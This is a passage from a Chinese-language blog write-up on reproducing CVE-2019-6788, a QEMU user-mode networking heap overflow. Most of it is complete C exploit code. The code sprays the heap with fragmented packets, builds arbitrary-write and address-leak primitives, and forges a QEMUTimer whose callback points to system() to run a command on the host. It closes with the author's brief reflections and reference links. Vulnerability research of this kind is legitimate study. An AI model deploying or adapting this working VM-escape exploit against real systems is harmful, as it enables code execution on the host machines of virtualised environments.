void receive_icmp_echo_reply(uint16_t expected_id) {
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd < 0) {
perror("socket recv");
exit(EXIT_FAILURE);
}

struct timeval timeout = {.tv_sec = 3, .tv_usec = 0};
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));

char buf[PACKET_SIZE];
struct sockaddr_in src_addr;
socklen_t addrlen = sizeof(src_addr);

while (1) {
ssize_t len = recvfrom(sockfd, buf, sizeof(buf), 0, (struct sockaddr *)&src_addr, &addrlen);
if (len < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
printf("Timeout reached. No ICMP reply received.\n");
break;
}
perror("recvfrom");
break;
}

struct ip *iph = (struct ip *)buf;
int iphdr_len = iph->ip_hl * 4;
struct icmphdr *icmp = (struct icmphdr *)(buf + iphdr_len);

if (icmp->type == ICMP_ECHOREPLY && ntohs(icmp->un.echo.id) == expected_id) {
char ipbuf[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &src_addr.sin_addr, ipbuf, sizeof(ipbuf));
printf("Received ICMP Echo Reply from %s\n", ipbuf);
break;
}
}

close(sockfd);
}

int get_icmp_packet(char *packet) {
// 构造 Ethernet 报头(14 字节)
const char eth_frame[] = {
0x52, 0x55, 0x0a, 0x00, 0x02, 0x02, // 目的 MAC
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // 源 MAC
0x08, 0x00 // 类型字段: IPv4
};

memcpy(packet, eth_frame, sizeof(eth_frame));

struct ip *iph = (struct ip *)(packet + ETH_HDRLEN);
struct icmphdr *icmp = (struct icmphdr *)((char *)iph + sizeof(struct ip));

// 构造 ICMP 报文(无 payload)
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = htons(1000); // getpid() & 0xffff
icmp->un.echo.sequence = htons(0);
icmp->checksum = 0;
icmp->checksum = icmp_checksum(icmp, NULL, 0);

// 构造 IP 报文头
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof(struct icmphdr); // Attention: icmplen
iph->ip_id = 0x1234;
iph->ip_off = 0;
iph->ip_ttl = 64;
iph->ip_p = IPPROTO_ICMP;
iph->ip_sum = 0;
inet_pton(AF_INET, src_ip, &iph->ip_src);
inet_pton(AF_INET, dst_ip, &iph->ip_dst);
iph->ip_sum = checksum((uint16_t *)iph, sizeof(struct ip));

return ETH_HDRLEN + sizeof(struct ip) + sizeof(struct icmphdr);
}

int trigger_socket() {
int s, ret;
struct sockaddr_in ip_addr;
char host[] = "10.0.2.2";

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
int len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("oops: client");
exit(1);
}

return s;
}

void artribute_write(uint64_t addr, int addr_len, char *data, int data_len, int spray_times) {
int s;
char buf[0x501] = {'\x00'};
char payload[0x501] = {'\0'};
uint64_t *payload64 = (uint64_t *)payload;

memset(buf, 'a', 0x500);
memcpy(buf, "l1s00tl1s00t", 0xc);

for (int i = 0; i < spray_times; ++i) {
send_fragmented_tcp_packet(0x2000, g_spray_ip_id + i);
}

s = trigger_socket();

dbg();

struct ip_pkt_info ip_pkt = {0};
ip_pkt.ip_id = 0xdead;
ip_pkt.ip_off = 0;
ip_pkt.MF = 1;
ip_pkt.ip_p = 0xff;
send_raw_ip_packet(&ip_pkt, buf, 0x300); // overflow data after 0x100

for (int i = 0; i < 6; ++i) {
write(s, buf, 0x500);
usleep(20000);
}
printf("trigger heap overflow\n");

dbg();

write(s, buf, 1072);

struct mbuf m;
memset(&m, '\x00', sizeof(struct mbuf));
m.m_size = 0x608;

payload64[0] = 0;
payload64[1] = 0x675;
memcpy(&payload64[2], &m, sizeof(m)); // 0x30

for (int i = 0; i < addr_len; ++i) {
*(payload + 0x40 + i) = (addr >> 8 * i) & 0xff;
}
write(s, payload, 0x40 + addr_len);

memset(&ip_pkt, '0', sizeof(ip_pkt));
ip_pkt.ip_id = 0xdead;
ip_pkt.ip_off = 0x300;
ip_pkt.MF = 0;
ip_pkt.ip_p = 0xff;
send_raw_ip_packet(&ip_pkt, data, data_len);

close(s);
}

void leak(uint64_t addr, int addr_len) {
int s;
char buf[0x501] = {'\x00'};
char payload[0x501] = {'\0'};
uint64_t *payload64 = (uint64_t *)payload;

memset(buf, 'a', 0x500);
memcpy(buf, "leakleak", 0xc);

for (int i = 0; i < 0x20; ++i) {
send_fragmented_tcp_packet(0x2000, g_spray_ip_id + i);
}

s = trigger_socket();

dbg();

struct ip_pkt_info ip_pkt = {0};
ip_pkt.ip_id = 0xdead;
ip_pkt.ip_off = 0;
ip_pkt.MF = 1;
ip_pkt.ip_p = IPPROTO_ICMP;
send_raw_ip_packet(&ip_pkt, buf, 0x300); // overflow data after 0x100

for (int i = 0; i < 6; ++i) {
write(s, buf, 0x500);
usleep(60000);
}
printf("trigger heap overflow\n");

dbg();

write(s, buf, 1072);

struct mbuf m;
memset(&m, '\x00', sizeof(struct mbuf));
m.m_size = 0x608;

payload64[0] = 0;
payload64[1] = 0x675;
memcpy(&payload64[2], &m, sizeof(m)); // 0x30

for (int i = 0; i < addr_len; ++i) {
*(payload + 0x40 + i) = (addr >> 8 * i) & 0xff;
}
write(s, payload, 0x40 + addr_len);

memset(&ip_pkt, '0', sizeof(ip_pkt));
ip_pkt.ip_id = 0xdead;
ip_pkt.ip_off = 0x300;
ip_pkt.MF = 0;
ip_pkt.ip_p = IPPROTO_ICMP;
send_raw_ip_packet(&ip_pkt, buf, 0);

int recvsd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
int bytes, status;
struct ip *recv_iphdr;
struct icmp *recv_icmphdr;
uint8_t recv_ether_frame[IP_MAXPACKET];
struct sockaddr from;
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;

(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
int count = 0;

while (1) {
memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, &fromlen)) < 0) {
status = errno;
if (status == EAGAIN) { // EAGAIN = 11
dbg_printf("No reply within %li seconds.\n", wait.tv_sec);
return;
// exit(EXIT_FAILURE);
} else if (status == EINTR) { // EINTR = 4
continue;
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
hexdump("recv", recv_ether_frame, 0x50);
dbg_printf("recv count %d\n", count++);
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
ETH_P_IP) &&
(recv_iphdr->ip_p == IPPROTO_ICMP) &&
(recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
// 底下这个可能会segfault
// if (inet_ntop(AF_INET, &(recv_iphdr->ip_src.s_addr), rec_ip,
// INET_ADDRSTRLEN) == NULL) {
// status = errno;
// fprintf(stderr, "inet_ntop() failed.\nError message: %s",
// strerror(status)); exit(EXIT_FAILURE);
// }
dbg_printf("%g ms (%i bytes received)\n", dt, bytes);
#ifdef DEBUG
hexdump("ping recv", recv_ether_frame, bytes);

#endif
// if (bytes < 0x200)
// continue;
text_base =
((*(uint64_t *)(recv_ether_frame + 0x98)) - 0x8352e0) & ~0xfff; // qobject_output_end_struct
heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;
dbg_printf("leak text_base: 0x%lx\n"
"leak heap_base: 0x%lx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}

//getchar();
close(s);
close(recvsd);
}

struct QEMUTimer
{
int64_t expire_time;
void *timer_list;

// cb(opaque)
void *cb; // func_ptr
void *opaque; // param

void *next;
int attributes;
int scale;
};


int main() {
char icmp_packet[0x100] = {'\x00'};
int icmp_len = get_icmp_packet(icmp_packet);
const char exec_cmd[] = "/usr/bin/xcalc";
memcpy(icmp_packet + icmp_len, exec_cmd, strlen(exec_cmd) + 1);

g_spray_ip_id = 0;
artribute_write(0x0b00, 3, icmp_packet, icmp_len + strlen(exec_cmd) + 1, 0x250);

g_spray_ip_id = 0xaabb;
leak(0x0b00 + 0x300 + ETH_HDRLEN + IP4_HDRLEN, 3);

dbg();

if (!heap_base || !text_base) {
uint64_t leak_heap, leak_text;

printf("Enter leak_heap (hex): ");
scanf("%lx", &leak_heap);

printf("Enter leak_text (hex): ");
scanf("%lx", &leak_text);

heap_base = leak_heap & ~0xffffff;
text_base = leak_text - 0x318f11; // memory_region_get_container offset

printf("heap_base = 0x%lx\n", heap_base);
printf("text_base = 0x%lx\n", text_base);
}

uint64_t fakeTimerAddr = heap_base + 0x1000;
uint64_t system_plt = text_base + 0x2ac460;

char payload[0x100] = {0};

struct QEMUTimer timer = {0};
timer.expire_time = -1;
timer.cb = system_plt;
timer.opaque = heap_base + 0xe2a;
memcpy(payload, &timer, sizeof(timer));

g_spray_ip_id = 0xccdd;
artribute_write(fakeTimerAddr - 0x300, 8, payload, sizeof(timer), 0x20);

// main_loop_tlg[0]->active_timers: 0x55a6781ef990
uint64_t active_timers = text_base + 0x131e990;
memcpy(payload, &fakeTimerAddr, 0x8);

g_spray_ip_id = 0xddee;
artribute_write(active_timers - 0x300, 8, payload, 8, 0x20);

return 0;
}

附:整个EXP运行过程中的流量

总结

这个漏洞笔者复现了好久,期间参考了不少师傅们分析的文章,惊叹各位师傅的厉害,也让我意识到自己实在是太菜了,仍需努力啊!

这个漏洞虽然不是我复现的第一个大型软件漏洞,但却是我复现的第一个堆溢出漏洞,因此也有了一些个人的小感悟:在面对于大型软件的堆漏洞时,想要完成利用往往很不容易。需要先寻找合适的利用原语,比如malloc原语free原语等,从而控制堆块的分配和释放 。同时还要设法找到任意地址读或者任意地址写的能力(其中任意写几乎时利用的前提)。一般而言,只有具备了上述基础,才能够达到利用的目的。

参考文章

https://github.com/0xKira/qemu-vm-escape

https://ama2in9.top/2021/01/02/cve-2019-6788/

https://buaq.net/go-142076.html

https://a1ex.online/2021/10/24/CVE-2019-6788-Qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/

https://avcatshy.github.io/2021/07/03/cve-2019-6788-note/

https://pzhxbz.cn/?p=168

https://blog.nnwk.net/article/126

https://www.cnblogs.com/csdragon/p/14545011.html


QEMU: CVE-2019-6788漏洞复现
http://example.com/2025/07/01/QEMU-CVE-2019-6788漏洞复现/
作者
l1s00t
发布于
2025年7月1日
许可协议